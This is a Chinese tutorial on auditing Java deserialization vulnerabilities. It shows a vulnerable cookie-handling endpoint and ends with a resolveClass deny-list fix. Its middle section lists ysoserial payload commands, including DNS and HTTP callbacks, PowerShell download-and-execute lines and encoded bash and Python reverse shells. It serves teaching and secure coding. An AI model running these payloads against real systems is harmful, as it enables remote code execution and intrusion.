JAVA 代码审计之 java 反序列化

Java 一、漏洞原理 Serialization(序列化)：将 java 对象以一连串的字节保存在磁盘文件中的过程，也可以说是保存 java 对象状态的过程

deserialization(反序列化)：将保存在磁盘文件中的 java 字节码重新转换成 java 对象称为反序列化

Java 程序使用 ObjectInputStream 对象的 readObject 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期 的对象，在此过程中执行构造的任意代码。

漏洞代码示例

......//读取输入流,并转换对象 InputStream in=request.getInputStream();ObjectInputStream ois = new ObjectInputStream(in);//恢复对象 ois.readObject();ois.close();Java 程序使用 ObjectInputStream 对象的 readObject 方法将反序 列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控 制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的 对象，在此过程中执行构造的任意代码。核心代码：

/**

• java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64

• Add the result to rememberMe cookie.

• <p>

• http://localhost:8080/deserialize/rememberMe/vuln*/@RequestMapping("/rememberMe/vuln")public String rememberMeVul(HttpServletRequest request)throws IOException, ClassNotFoundException {

• Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

• if (null == cookie) {return "No rememberMe cookie. Right?";}

• String rememberMe = cookie.getValue();byte[] decoded = Base64.getDecoder().decode(rememberMe);

• ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);ObjectInputStream in = new ObjectInputStream(bytes);in.readObject();in.close();

• return "Are u ok?";}代码相对来说也比较简单使用 Java 程序中类 ObjectInputStream 的 readObject 方法被用来将数据流反序列化为对象，如果流中的对象 是 class，则它的 ObjectStreamClass 描述符会被读取，并返回相应 的 class 对象，ObjectStreamClass 包含了类的名称及 serialVersionUID。二、利用方式使用 ysoserial.jar 生成 payload

java -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0

rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...访问页面 http://127.0.0.1:8080/deserialize/rememberMe/vuln

(ysoserial.jar 是 java 反序列化工具 集，下载地址：https://github.com/angelwhu/ysoserial)

ysoserial 使用 poc 文档

https://book.hacktricks.xyz/pentesting-web/deserialization#java-http

PoC to make the application perform a DNS req

java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

PoC RCE in Windows

Ping

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload

Time, I noticed the response too longer when this was used

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload

Create File

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\Users\\username\\pwn" > payload

DNS request

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"

HTTP request (+DNS)

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"

In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')

To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0

Reverse Shell

Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux

Ping

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload

Time

Using time in bash I didn't notice any difference in the timing of the response

Create file

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload

DNS request

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"

HTTP request (+DNS)

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payloadjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"

Reverse shell

Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0

Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

Base64 encode payload in base64

base64 -w0 payload 三、修复方式修复方式是通过 Hook resolveClass 来校验反序列化的类

序列化数据结构可以了解到包含了类的名称及 serialVersionUID 的 ObjectStreamClass 描述符在序列化对象流的前面位置，且在 readObject 反序列化时首先会调用 resolveClass 读取反序列化的 类名，所以这里通过重写 ObjectInputStream 对象的 resolveClass 方法即可实现对反序列化类的校验。这个方法最早 是由 IBM 的研究人员 Pierre Ernst 在 2013 年提出《Look-ahead Java deserialization》

修复代码/**

• Check deserialize class using black list.

• <p>

• http://localhost:8080/deserialize/rememberMe/security*/@RequestMapping("/rememberMe/security")public String rememberMeBlackClassCheck(HttpServletRequest request)throws IOException, ClassNotFoundException {

• Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

• if (null == cookie) {return "No rememberMe cookie. Right?";}String rememberMe = cookie.getValue();byte[] decoded = Base64.getDecoder().decode(rememberMe);

• ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

• try {AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassExceptionin.readObject();in.close();} catch (InvalidClassException e) {logger.info(e.toString());return e.toString();}

• return "I'm very OK.";}跟入后对应代码/**

• 只允许反序列化 SerialObject class

• 在应用上使用黑白名单校验方案比较局限，因为只有使用自己定义的 AntObjectInputStream 类，进行反序列化才能进行校验。

• 类似 fastjson 通用类的反序列化就不能校验。

• 但是 RASP 是通过 HOOK java/io/ObjectInputStream 类的 resolveClass 方法，全局的检测白名单。

*/@Overrideprotected Class<?> resolveClass(final ObjectStreamClass desc)throws IOException, ClassNotFoundException{String className = desc.getName();

// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObjectlogger.info("Deserialize class name: " + className);
String[] denyClasses = {"java.net.InetAddress",                        "org.apache.commons.collections.Transformer",                        "org.apache.commons.collections.functors"};
for (String denyClass : denyClasses) {    if (className.startsWith(denyClass)) {        throw new InvalidClassException("Unauthorized deserialization attempt", className);    }}
return super.resolveClass(desc);

}